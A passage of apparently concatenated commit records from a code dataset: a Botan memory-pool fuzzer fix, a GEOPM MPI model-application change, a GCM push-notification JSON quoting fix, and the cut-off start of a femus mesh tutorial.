FUZZER_WRITE_AND_CRASH(\"Pool gave out non-zeroed memory\");\n                  }\n               }\n\n            \/\/ verify it becomes zeroed later\n            std::memset(p, idx, plen);\n\n            auto insert = ptrs.insert(std::make_pair(p, plen));\n            if(insert.second == false)\n               {\n               FUZZER_WRITE_AND_CRASH(\"Pointer \" << static_cast<void*>(p) << \" already existed\\n\");\n               }\n\n            auto itr = insert.first;\n\n            \/\/ Verify this pointer doesn't overlap with the one before it\n            if(itr != ptrs.begin())\n               {\n               auto before = std::prev(itr);\n               auto ptr_before = *before;\n\n               if(ptr_before.first + ptr_before.second > p)\n                  {\n                  FUZZER_WRITE_AND_CRASH(\"Previous \" << static_cast<void*>(ptr_before.first) << \"\/\" << ptr_before.second <<\n                                         \" overlaps with new \" << static_cast<void*>(p));\n                  }\n               }\n\n            auto after = std::next(itr);\n\n            if(after != ptrs.end())\n               {\n               if(p + plen > after->first)\n                  {\n                  FUZZER_WRITE_AND_CRASH(\"New \" << static_cast<void*>(p) << \"\/\" << plen\n                                         << \" overlaps following \" << static_cast<void*>(after->first));\n                  }\n               }\n            }\n         }\n      else if(op == 1)\n         {\n         if(ptrs.empty())\n            return;\n\n         size_t which_ptr = idx % ptrs.size();\n\n         auto itr = ptrs.begin();\n\n         while(which_ptr-- > 0)\n            {\n            ++itr;\n            }\n\n         \/\/printf(\"free %p %d\\n\", itr->first, itr->second);\n         FUZZER_ASSERT_TRUE(pool.deallocate(itr->first, itr->second));\n         ptrs.erase(itr);\n         }\n      }\n   }\n<commit_msg>In fuzzer remove debug print and check return value of posix_memalign<commit_after>\/*\n* (C) 2018 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include \"fuzzers.h\"\n#include <botan\/internal\/mem_pool.h>\n#include <botan\/internal\/bit_ops.h>\n#include <vector>\n#include <map>\n#include <utility>\n\n#include <stdlib.h>\n\nnamespace {\n\nsize_t compute_expected_alignment(size_t plen)\n   {\n   if(Botan::is_power_of_2(plen))\n      {\n      return plen;\n      }\n   else\n      {\n      return 8;\n      }\n   }\n\nstruct RawPage\n   {\n   public:\n      RawPage(void* p) : m_p(p) {}\n      ~RawPage() { std::free(m_p); }\n\n      RawPage(const RawPage& other) = default;\n      RawPage& operator=(const RawPage& other) = default;\n\n      RawPage(RawPage&& other) : m_p(nullptr)\n         {\n         std::swap(m_p, other.m_p);\n         }\n\n      RawPage& operator=(RawPage&& other)\n         {\n         if(this != &other)\n            {\n            std::swap(m_p, other.m_p);\n            }\n         return (*this);\n         }\n\n      void* ptr() const { return m_p; }\n   private:\n      void* m_p;\n   };\n\nstd::vector<RawPage> allocate_raw_pages(size_t count, size_t page_size)\n   {\n   std::vector<RawPage> pages;\n   pages.reserve(count);\n\n   for(size_t i = 0; i != count; ++i)\n      {\n      void* ptr = nullptr;\n\n      int rc = ::posix_memalign(&ptr, page_size, page_size);\n      FUZZER_ASSERT_EQUAL(rc, 0);\n\n      if(ptr)\n         {\n         pages.push_back(RawPage(ptr));\n         }\n      }\n\n   return pages;\n   }\n\n}\n\nvoid fuzz(const uint8_t in[], size_t in_len)\n   {\n   const size_t page_count = 4;\n   const size_t page_size = 4096;\n\n   \/\/ static to avoid repeated allocations\n   static std::vector<RawPage> raw_mem = allocate_raw_pages(page_count, page_size);\n\n   std::vector<void*> mem_pages;\n   mem_pages.reserve(raw_mem.size());\n   for(size_t i = 0; i != raw_mem.size(); ++i)\n      mem_pages.push_back(raw_mem[i].ptr());\n\n   Botan::Memory_Pool pool(mem_pages, page_size);\n   std::map<uint8_t*, size_t> ptrs;\n\n   while(in_len > 0)\n      {\n      const uint8_t op = in[0] % 2;\n      size_t idx = (in[0] >> 1);\n      in += 1;\n      in_len -= 1;\n\n      if(in_len > 0 && idx < 4)\n         {\n         idx = idx * 256 + in[0];\n         in += 1;\n         in_len -= 1;\n         }\n\n      \/\/printf(\"%d %d\\n\", op, idx);\n\n      if(op == 0)\n         {\n         const size_t plen = idx + 1; \/\/ ensure non-zero\n         uint8_t* p = static_cast<uint8_t*>(pool.allocate(plen));\n\n         if(p)\n            {\n            const size_t expected_alignment = compute_expected_alignment(plen);\n            const size_t alignment = reinterpret_cast<uintptr_t>(p) % expected_alignment;\n            if(alignment != 0)\n               {\n               FUZZER_WRITE_AND_CRASH(\"Pointer allocated non-aligned pointer \" << static_cast<void*>(p) << \" for len \" << plen\n                                      << \" expected \" << expected_alignment << \" got \" << alignment);\n               }\n\n            \/\/printf(\"alloc %d -> %p\\n\", plen, p);\n\n            for(size_t i = 0; i != plen; ++i)\n               {\n               if(p[i] != 0)\n                  {\n                  FUZZER_WRITE_AND_CRASH(\"Pool gave out non-zeroed memory\");\n                  }\n               }\n\n            \/\/ verify it becomes zeroed later\n            std::memset(p, idx, plen);\n\n            auto insert = ptrs.insert(std::make_pair(p, plen));\n            if(insert.second == false)\n               {\n               FUZZER_WRITE_AND_CRASH(\"Pointer \" << static_cast<void*>(p) << \" already existed\\n\");\n               }\n\n            auto itr = insert.first;\n\n            \/\/ Verify this pointer doesn't overlap with the one before it\n            if(itr != ptrs.begin())\n               {\n               auto before = std::prev(itr);\n               auto ptr_before = *before;\n\n               if(ptr_before.first + ptr_before.second > p)\n                  {\n                  FUZZER_WRITE_AND_CRASH(\"Previous \" << static_cast<void*>(ptr_before.first) << \"\/\" << ptr_before.second <<\n                                         \" overlaps with new \" << static_cast<void*>(p));\n                  }\n               }\n\n            auto after = std::next(itr);\n\n            if(after != ptrs.end())\n               {\n               if(p + plen > after->first)\n                  {\n                  FUZZER_WRITE_AND_CRASH(\"New \" << static_cast<void*>(p) << \"\/\" << plen\n                                         << \" overlaps following \" << static_cast<void*>(after->first));\n                  }\n               }\n            }\n         }\n      else if(op == 1)\n         {\n         if(ptrs.empty())\n            return;\n\n         size_t which_ptr = idx % ptrs.size();\n\n         auto itr = ptrs.begin();\n\n         while(which_ptr-- > 0)\n            {\n            ++itr;\n            }\n\n         \/\/printf(\"free %p %d\\n\", itr->first, itr->second);\n         FUZZER_ASSERT_TRUE(pool.deallocate(itr->first, itr->second));\n         ptrs.erase(itr);\n         }\n      }\n   }\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2015, 2016, 2017, 2018, 2019, Intel Corporation\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in\n *       the documentation and\/or other materials provided with the\n *       distribution.\n *\n *     * Neither the name of Intel Corporation nor the names of its\n *       contributors may be used to endorse or promote products derived\n *       from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY LOG OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <iostream>\n#include <cstdint>\n#include <string.h>\n#include <mpi.h>\n#include <limits.h>\n\n#include \"geopm.h\"\n#include \"geopm_error.h\"\n#include \"ModelApplication.hpp\"\n#include \"ModelParse.hpp\"\n\nint main(int argc, char **argv)\n{\n    int err = 0;\n    int rank;\n    int verbosity = 0;\n    uint64_t init_rid;\n    char *config_path = NULL;\n    const char *usage = \"\\n\"\n\"%s -h | --help\\n\"\n\"    Print this help message.\\n\"\n\"\\n\"\n\"%s [--verbose] [config_file]\\n\"\n\"\\n\"\n\"    --verbose: Print output from rank zero as every region executes.\\n\"\n\"\\n\"\n\"    config_file: Path to json file containing loop count and sequence\\n\"\n\"                 of regions in each loop.\\n\"\n\"\\n\"\n\"                 Example configuration json string:\\n\"\n\"\\n\"\n\"                 {\\\"loop-count\\\": 10,\\n\"\n\"                  \\\"region\\\": [\\\"sleep\\\", \\\"stream\\\", \\\"dgemm\\\", \\\"stream\\\", \\\"all2all\\\"],\\n\"\n\"                  \\\"big-o\\\": [1.0, 1.0, 1.0, 1.0, 1.0]}\\n\"\n\"\\n\"\n\"                 The \\\"loop-count\\\" value is an integer that sets the\\n\"\n\"                 number of loops executed.  Each time through the loop\\n\"\n\"                 the regions listed in the \\\"region\\\" array are\\n\"\n\"                 executed.  The \\\"big-o\\\" array gives double precision\\n\"\n\"                 values for each region.  Region names can be one of\\n\"\n\"                 the following options:\\n\"\n\"\\n\"\n\"                 sleep: Executes clock_nanosleep() for big-o seconds.\\n\"\n\"\\n\"\n\"                 spin: Executes a spin loop for big-o seconds.\\n\"\n\"\\n\"\n\"                 stream: Executes stream \\\"triadd\\\" on a vector with\\n\"\n\"                 length proportional to big-o.\\n\"\n\"\\n\"\n\"                 dgemm: Dense matrix-matrix multiply with floating\\n\"\n\"                 point operations proportional to big-o.\\n\"\n\"\\n\"\n\"                 all2all: All processes send buffers to all other\\n\"\n\"                 processes.  The time of this operation is\\n\"\n\"                 proportional to big-o.\\n\"\n\"\\n\"\n\"                 Example configuration json string with imbalance and\\n\"\n\"                 progress:\\n\"\n\"\\n\"\n\"                 {\\\"loop-count\\\": 10,\\n\"\n\"                  \\\"region\\\": [\\\"sleep\\\", \\\"stream-progress\\\", \\\"dgemm-imbalance\\\", \\\"stream\\\", \\\"all2all\\\"],\\n\"\n\"                  \\\"big-o\\\": [1.0, 1.0, 1.0, 1.0, 1.0],\\n\"\n\"                  \\\"hostname\\\": [\\\"compute-node-3\\\", \\\"compute-node-15\\\"],\\n\"\n\"                  \\\"imbalance\\\": [0.05, 0.15]}\\n\"\n\"\\n\"\n\"                 If \\\"-imbalance\\\" is appended to any region name in\\n\"\n\"                 the configuration file and the \\\"hostname\\\" and\\n\"\n\"                 \\\"imbalance\\\" fields are provided then those\\n\"\n\"                 regions will have an injected delay on the hosts\\n\"\n\"                 listed.  In the above example a 5%% delay on\\n\"\n\"                 \\\"my-compute-node-3\\\" and a 15%% delay on\\n\"\n\"                 \\\"my-compute-node-15\\\" are injected when executing\\n\"\n\"                 the dgemm region.\\n\"\n\"\\n\"\n\"                 If \\\"-progress\\\" is appended to any region name in the\\n\"\n\"                 configuration, then progress for the region will be\\n\"\n\"                 reported through the geopm_prof_progress API.\\n\"\n\"\\n\"\n\"\\n\";\n\n    const int ERROR_HELP = -4096;\n    err = MPI_Init(&argc, &argv);\n    if (!err) {\n        err = MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n    }\n\n    if (!err && argc > 1) {\n        if (strncmp(argv[1], \"--help\", strlen(\"--help\")) == 0 ||\n            strncmp(argv[1], \"-h\", strlen(\"-h\")) == 0) {\n            if (!rank) {\n                printf(usage, argv[0], argv[0]);\n            }\n            err = ERROR_HELP;\n        }\n        int offset = 1;\n        if (strncmp(argv[1], \"--verbose\", strlen(\"--verbose\")) == 0) {\n            if (!rank) {\n                verbosity = 1;\n            }\n            ++offset;\n        }\n        if (argc > offset) {\n            config_path = argv[offset];\n        }\n    }\n\n    if (!err) {\n        err = geopm_prof_region(\"model-init\", GEOPM_REGION_HINT_UNKNOWN, &init_rid);\n    }\n    if (!err) {\n        err = geopm_prof_enter(init_rid);\n    }\n    if (!err) {\n        \/\/ Do application initialization\n        uint64_t loop_count = 0;\n        std::vector<std::string> region_sequence;\n        std::vector<double> big_o_sequence;\n        if (config_path) {\n            geopm::model_parse_config(config_path, loop_count, region_sequence, big_o_sequence);\n        }\n        else {\n            \/\/ Default values if no configuration is specified\n            loop_count = 10;\n            region_sequence = {\"sleep\", \"stream\", \"dgemm\", \"stream\", \"all2all\"};\n            big_o_sequence = {1.0, 1.0, 1.0, 1.0, 1.0};\n        }\n        geopm::ModelApplication app(loop_count, region_sequence, big_o_sequence, verbosity, rank);\n        err = geopm_prof_exit(init_rid);\n        if (!err) {\n            \/\/ Run application\n            app.run();\n        }\n    }\n\n    if (err == ERROR_HELP) {\n        err = 0;\n    }\n\n    if (err) {\n        char err_msg[NAME_MAX] = {};\n        geopm_error_message(err, err_msg, NAME_MAX);\n        std::cerr << \"ERROR: \" << argv[0] << \": \" << err_msg << std::endl;\n    }\n\n    int err_fin = MPI_Finalize();\n    err = err ? err : err_fin;\n\n    return err;\n}\n<commit_msg>Do not markup anything if all regions are 'unmarked'<commit_after>\/*\n * Copyright (c) 2015, 2016, 2017, 2018, 2019, Intel Corporation\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in\n *       the documentation and\/or other materials provided with the\n *       distribution.\n *\n *     * Neither the name of Intel Corporation nor the names of its\n *       contributors may be used to endorse or promote products derived\n *       from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY LOG OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <iostream>\n#include <cstdint>\n#include <string.h>\n#include <mpi.h>\n#include <limits.h>\n#include <algorithm>\n\n#include \"geopm.h\"\n#include \"geopm_error.h\"\n#include \"ModelApplication.hpp\"\n#include \"ModelParse.hpp\"\n\nint main(int argc, char **argv)\n{\n    int err = 0;\n    int rank;\n    int verbosity = 0;\n    int do_markup_init = 1;\n    uint64_t init_rid;\n    char *config_path = NULL;\n    const char *usage = \"\\n\"\n\"%s -h | --help\\n\"\n\"    Print this help message.\\n\"\n\"\\n\"\n\"%s [--verbose] [config_file]\\n\"\n\"\\n\"\n\"    --verbose: Print output from rank zero as every region executes.\\n\"\n\"\\n\"\n\"    config_file: Path to json file containing loop count and sequence\\n\"\n\"                 of regions in each loop.\\n\"\n\"\\n\"\n\"                 Example configuration json string:\\n\"\n\"\\n\"\n\"                 {\\\"loop-count\\\": 10,\\n\"\n\"                  \\\"region\\\": [\\\"sleep\\\", \\\"stream\\\", \\\"dgemm\\\", \\\"stream\\\", \\\"all2all\\\"],\\n\"\n\"                  \\\"big-o\\\": [1.0, 1.0, 1.0, 1.0, 1.0]}\\n\"\n\"\\n\"\n\"                 The \\\"loop-count\\\" value is an integer that sets the\\n\"\n\"                 number of loops executed.  Each time through the loop\\n\"\n\"                 the regions listed in the \\\"region\\\" array are\\n\"\n\"                 executed.  The \\\"big-o\\\" array gives double precision\\n\"\n\"                 values for each region.  Region names can be one of\\n\"\n\"                 the following options:\\n\"\n\"\\n\"\n\"                 sleep: Executes clock_nanosleep() for big-o seconds.\\n\"\n\"\\n\"\n\"                 spin: Executes a spin loop for big-o seconds.\\n\"\n\"\\n\"\n\"                 stream: Executes stream \\\"triadd\\\" on a vector with\\n\"\n\"                 length proportional to big-o.\\n\"\n\"\\n\"\n\"                 dgemm: Dense matrix-matrix multiply with floating\\n\"\n\"                 point operations proportional to big-o.\\n\"\n\"\\n\"\n\"                 all2all: All processes send buffers to all other\\n\"\n\"                 processes.  The time of this operation is\\n\"\n\"                 proportional to big-o.\\n\"\n\"\\n\"\n\"                 Example configuration json string with imbalance and\\n\"\n\"                 progress:\\n\"\n\"\\n\"\n\"                 {\\\"loop-count\\\": 10,\\n\"\n\"                  \\\"region\\\": [\\\"sleep\\\", \\\"stream-progress\\\", \\\"dgemm-imbalance\\\", \\\"stream\\\", \\\"all2all\\\"],\\n\"\n\"                  \\\"big-o\\\": [1.0, 1.0, 1.0, 1.0, 1.0],\\n\"\n\"                  \\\"hostname\\\": [\\\"compute-node-3\\\", \\\"compute-node-15\\\"],\\n\"\n\"                  \\\"imbalance\\\": [0.05, 0.15]}\\n\"\n\"\\n\"\n\"                 If \\\"-imbalance\\\" is appended to any region name in\\n\"\n\"                 the configuration file and the \\\"hostname\\\" and\\n\"\n\"                 \\\"imbalance\\\" fields are provided then those\\n\"\n\"                 regions will have an injected delay on the hosts\\n\"\n\"                 listed.  In the above example a 5%% delay on\\n\"\n\"                 \\\"my-compute-node-3\\\" and a 15%% delay on\\n\"\n\"                 \\\"my-compute-node-15\\\" are injected when executing\\n\"\n\"                 the dgemm region.\\n\"\n\"\\n\"\n\"                 If \\\"-progress\\\" is appended to any region name in the\\n\"\n\"                 configuration, then progress for the region will be\\n\"\n\"                 reported through the geopm_prof_progress API.\\n\"\n\"\\n\"\n\"\\n\";\n\n    const int ERROR_HELP = -4096;\n    err = MPI_Init(&argc, &argv);\n    if (!err) {\n        err = MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n    }\n\n    if (!err && argc > 1) {\n        if (strncmp(argv[1], \"--help\", strlen(\"--help\")) == 0 ||\n            strncmp(argv[1], \"-h\", strlen(\"-h\")) == 0) {\n            if (!rank) {\n                printf(usage, argv[0], argv[0]);\n            }\n            err = ERROR_HELP;\n        }\n        int offset = 1;\n        if (strncmp(argv[1], \"--verbose\", strlen(\"--verbose\")) == 0) {\n            if (!rank) {\n                verbosity = 1;\n            }\n            ++offset;\n        }\n        if (argc > offset) {\n            config_path = argv[offset];\n        }\n    }\n\n    uint64_t loop_count = 0;\n    std::vector<std::string> region_sequence;\n    std::vector<double> big_o_sequence;\n\n    if (!err) {\n        if (config_path) {\n            geopm::model_parse_config(config_path, loop_count, region_sequence, big_o_sequence);\n        }\n        else {\n            \/\/ Default values if no configuration is specified\n            loop_count = 10;\n            region_sequence = {\"sleep\", \"stream\", \"dgemm\", \"stream\", \"all2all\"};\n            big_o_sequence = {1.0, 1.0, 1.0, 1.0, 1.0};\n        }\n\n        if (region_sequence.size() > 0 &&\n            std::all_of(region_sequence.cbegin(), region_sequence.cend(),\n                        [](const std::string &region) {\n                            return (region.find(\"-unmarked\") != std::string::npos);\n                        })) {\n            do_markup_init = 0;\n        }\n    }\n\n    if (!err && do_markup_init == 1) {\n        err = geopm_prof_region(\"model-init\", GEOPM_REGION_HINT_UNKNOWN, &init_rid);\n    }\n    if (!err && do_markup_init == 1) {\n        err = geopm_prof_enter(init_rid);\n    }\n    if (!err) {\n        \/\/ Do application initialization\n        geopm::ModelApplication app(loop_count, region_sequence, big_o_sequence, verbosity, rank);\n        if (do_markup_init == 1) {\n            err = geopm_prof_exit(init_rid);\n        }\n        if (!err) {\n            \/\/ Run application\n            app.run();\n        }\n    }\n\n    if (err == ERROR_HELP) {\n        err = 0;\n    }\n\n    if (err) {\n        char err_msg[NAME_MAX] = {};\n        geopm_error_message(err, err_msg, NAME_MAX);\n        std::cerr << \"ERROR: \" << argv[0] << \": \" << err_msg << std::endl;\n    }\n\n    int err_fin = MPI_Finalize();\n    err = err ? err : err_fin;\n\n    return err;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"googlepush.hh\"\n#include <iostream>\n#include <string.h>\n#include \"log\/logmanager.hh\"\n\nusing namespace std;\n\nGooglePushNotificationRequest::GooglePushNotificationRequest(const PushInfo &pinfo)\n: PushNotificationRequest(pinfo.mAppId, \"google\") {\n\tconst string &deviceToken = pinfo.mDeviceToken;\n\tconst string &apiKey = pinfo.mApiKey;\n\tconst string &arg = pinfo.mFromName.empty() ? pinfo.mFromUri : pinfo.mFromName;\n\tconst string &callid = pinfo.mCallId;\n\tostringstream httpBody;\n\ttime_t t = time(NULL);\n\tstruct tm *tm = localtime(&t);\n\tchar date[20];\n\tstrftime(date, sizeof(date), \"%Y-%m-%d %H:%M:%S\", tm);\n\n\thttpBody << \"{\\\"registration_ids\\\":[\\\"\" << deviceToken << \"\\\"],\\\"data\\\":{\\\"loc-args\\\":\\\"\" << arg\n\t<< \"\\\"}\"\n\t\",\\\"priority\\\":\\\"high\\\"\"\n\t\",\\\"call-id\\\":\\\"\" << callid\n\t<< \"\\\",\\\"uuid\\\":\" << pinfo.mUid\n\t<< \",\\\"send-time\\\":\\\"\" << date << \"\\\"}\";\n\tmHttpBody = httpBody.str();\n\tLOGD(\"Push notification https post body is %s\", mHttpBody.c_str());\n\n\tostringstream httpHeader;\n\thttpHeader << \"POST \/gcm\/send \"\n\t\"HTTP\/1.1\\r\\nHost:android.googleapis.com\\r\\nContent-Type:application\/json\\r\\nAuthorization:key=\"\n\t<< apiKey << \"\\r\\nContent-Length:\" << httpBody.str().size() << \"\\r\\n\\r\\n\";\n\tmHttpHeader = httpHeader.str();\n\tSLOGD << \"PNR \" << this << \" https post header is \" << mHttpHeader;\n}\n\nvoid GooglePushNotificationRequest::createPushNotification() {\n\tint headerLength = mHttpHeader.length();\n\tint bodyLength = mHttpBody.length();\n\n\tmBuffer.clear();\n\tmBuffer.resize(headerLength + bodyLength);\n\n\tchar *binaryMessageBuff = &mBuffer[0];\n\tchar *binaryMessagePt = binaryMessageBuff;\n\n\tmemcpy(binaryMessagePt, &mHttpHeader[0], headerLength);\n\tbinaryMessagePt += headerLength;\n\n\tmemcpy(binaryMessagePt, &mHttpBody[0], bodyLength);\n\tbinaryMessagePt += bodyLength;\n}\n\nconst vector<char> &GooglePushNotificationRequest::getData() {\n\tcreatePushNotification();\n\treturn mBuffer;\n}\n\nstring GooglePushNotificationRequest::isValidResponse(const string &str) {\n\tstatic const char expected[] = \"HTTP\/1.1 200\";\n\treturn strncmp(expected, str.c_str(), sizeof(expected) - 1) == 0 ? \"\" : \"Unexpected HTTP response value (not 200 OK)\";\n}\n<commit_msg>Fix JSON of Google GCM push (deprecated), uuid wasn't enclosed between quotes.<commit_after>\n#include \"googlepush.hh\"\n#include <iostream>\n#include <string.h>\n#include \"log\/logmanager.hh\"\n\nusing namespace std;\n\nGooglePushNotificationRequest::GooglePushNotificationRequest(const PushInfo &pinfo)\n: PushNotificationRequest(pinfo.mAppId, \"google\") {\n\tconst string &deviceToken = pinfo.mDeviceToken;\n\tconst string &apiKey = pinfo.mApiKey;\n\tconst string &arg = pinfo.mFromName.empty() ? pinfo.mFromUri : pinfo.mFromName;\n\tconst string &callid = pinfo.mCallId;\n\tostringstream httpBody;\n\ttime_t t = time(NULL);\n\tstruct tm *tm = localtime(&t);\n\tchar date[20];\n\tstrftime(date, sizeof(date), \"%Y-%m-%d %H:%M:%S\", tm);\n\n\thttpBody << \"{\\\"registration_ids\\\":[\\\"\" << deviceToken << \"\\\"],\\\"data\\\":{\\\"loc-args\\\":\\\"\" << arg\n\t<< \"\\\"}\"\n\t\",\\\"priority\\\":\\\"high\\\"\"\n\t\",\\\"call-id\\\":\\\"\" << callid\n\t<< \"\\\", \\\"uuid\\\":\\\"\" << pinfo.mUid\n\t<< \"\\\", \\\"send-time\\\":\\\"\" << date << \"\\\"}\";\n\tmHttpBody = httpBody.str();\n\tLOGD(\"Push notification https post body is %s\", mHttpBody.c_str());\n\n\tostringstream httpHeader;\n\thttpHeader << \"POST \/gcm\/send \"\n\t\"HTTP\/1.1\\r\\nHost:android.googleapis.com\\r\\nContent-Type:application\/json\\r\\nAuthorization:key=\"\n\t<< apiKey << \"\\r\\nContent-Length:\" << httpBody.str().size() << \"\\r\\n\\r\\n\";\n\tmHttpHeader = httpHeader.str();\n\tSLOGD << \"PNR \" << this << \" https post header is \" << mHttpHeader;\n}\n\nvoid GooglePushNotificationRequest::createPushNotification() {\n\tint headerLength = mHttpHeader.length();\n\tint bodyLength = mHttpBody.length();\n\n\tmBuffer.clear();\n\tmBuffer.resize(headerLength + bodyLength);\n\n\tchar *binaryMessageBuff = &mBuffer[0];\n\tchar *binaryMessagePt = binaryMessageBuff;\n\n\tmemcpy(binaryMessagePt, &mHttpHeader[0], headerLength);\n\tbinaryMessagePt += headerLength;\n\n\tmemcpy(binaryMessagePt, &mHttpBody[0], bodyLength);\n\tbinaryMessagePt += bodyLength;\n}\n\nconst vector<char> &GooglePushNotificationRequest::getData() {\n\tcreatePushNotification();\n\treturn mBuffer;\n}\n\nstring GooglePushNotificationRequest::isValidResponse(const string &str) {\n\tstatic const char expected[] = \"HTTP\/1.1 200\";\n\treturn strncmp(expected, str.c_str(), sizeof(expected) - 1) == 0 ? \"\" : \"Unexpected HTTP response value (not 200 OK)\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** tutorial\/Ex1\n * This example shows how to:\n * initialize a femus application;\n * define the multilevel-mesh object mlMsh;\n * read from the file .\/input\/square.neu the coarse-level mesh and associate it to mlMsh;\n * add in mlMsh uniform refined level-meshes;\n * define the multilevel-solution object mlSol associated to mlMsh;\n * add in mlSol different types of finite element solution variables;\n * initialize the solution varables;\n * define vtk and gmv writer objects associated to mlSol;\n * print vtk and gmv binary-format files in .\/output directory.\n **\/\n\n#include \"FemusInit.hpp\"\n#include \"MultiLevelProblem.hpp\"\n#include \"VTKWriter.hpp\"\n#include \"GMVWriter.hpp\"\n\nusing namespace femus;\n\ndouble InitalValueU(const std::vector < double >& x) {\n  return x[0] + x[1];\n}\n\ndouble InitalValueP(const std::vector < double >& x) {\n  return x[0];\n}\n\ndouble InitalValueT(const std::vector < double >& x) {\n  return x[1];\n}\n\nint main(int argc, char** args) {\n\n  \/\/ init Petsc-MPI communicator\n  FemusInit mpinit(argc, args, MPI_COMM_WORLD);\n\n  \/\/ define multilevel mesh\n  MultiLevelMesh mlMsh;\n  double scalingFactor = 1.;\n  \/\/ read coarse level mesh and generate finers level meshes\n  mlMsh.ReadCoarseMesh(\".\/input\/square.neu\", \"seventh\", scalingFactor);\n  \/* \"seventh\" is the order of accuracy that is used in the gauss integration scheme\n      probably in the furure it is not going to be an argument of this function   *\/\n  unsigned numberOfUniformLevels = 3;\n  unsigned numberOfSelectiveLevels = 0;\n  mlMsh.RefineMesh(numberOfUniformLevels , numberOfUniformLevels + numberOfSelectiveLevels, NULL);\n  mlMsh.PrintInfo();\n\n  \/\/ define the multilevel solution and attach the mlMsh object to it\n  MultiLevelSolution mlSol(&mlMsh);\n\n  \/\/ add variables to mlSol\n  mlSol.AddSolution(\"U\", LAGRANGE, FIRST);\n  mlSol.AddSolution(\"V\", LAGRANGE, SERENDIPITY);\n  mlSol.AddSolution(\"W\", LAGRANGE, SECOND);\n  mlSol.AddSolution(\"P\", DISCONTINOUS_POLYNOMIAL, ZERO);\n  mlSol.AddSolution(\"T\", DISCONTINOUS_POLYNOMIAL, FIRST);\n\n  mlSol.Initialize(\"All\");    \/\/ initialize all varaibles to zero\n\n  mlSol.Initialize(\"U\", InitalValueU);\n  mlSol.Initialize(\"P\", InitalValueP);\n  mlSol.Initialize(\"T\", InitalValueT);    \/\/ note that this initialization is the same as piecewise constant element\n\n  \/\/ print solutions\n  std::vector < std::string > variablesToBePrinted;\n  variablesToBePrinted.push_back(\"U\");\n  variablesToBePrinted.push_back(\"P\");\n  variablesToBePrinted.push_back(\"T\");\n\n  VTKWriter vtkIO(&mlSol);\n  vtkIO.write(DEFAULT_OUTPUTDIR, \"biquadratic\", variablesToBePrinted);\n\n  GMVWriter gmvIO(&mlSol);\n  variablesToBePrinted.push_back(\"all\");\n  gmvIO.SetDebugOutput(false);\n  gmvIO.write(DEFAULT_OUTPUTDIR, \"biquadratic\", variablesToBePrinted);\n\n  return 0;\n}<commit_msg>Initialized temperature control variables<commit_after>\/** tutorial\/Ex1\n * This example shows how to:\n * initialize a femus application;\n * define the multilevel-mesh object mlMsh;\n * read from the file .\/input\/square.neu the coarse-level mesh and associate it to mlMsh;\n * add in mlMsh uniform refined level-meshes;\n * define the multilevel-solution object mlSol associated to mlMsh;\n * add in mlSol different types of finite element solution variables;\n * initialize the solution varables;\n * define vtk and gmv writer objects associated to mlSol;\n * print vtk and gmv binary-format files in .\/output directory.\n **\/\n\n#include \"FemusInit.hpp\"\n#include \"MultiLevelProblem.hpp\"\n#include \"VTKWriter.hpp\"\n#include \"GMVWriter.hpp\"\n\nusing namespace femus;\n\ndouble InitalValueU(const std::vector < double >& x) {\n  return x[0] + x[1];\n}\n\ndouble InitalValueP(const std::vector < double >& x) {\n  return x[0];\n}\n\ndouble InitalValueT(const std::vector < double >& x) {\n  return x[1];\n}\n\nint main(int argc, char** args) {\n\n  \/\/ init 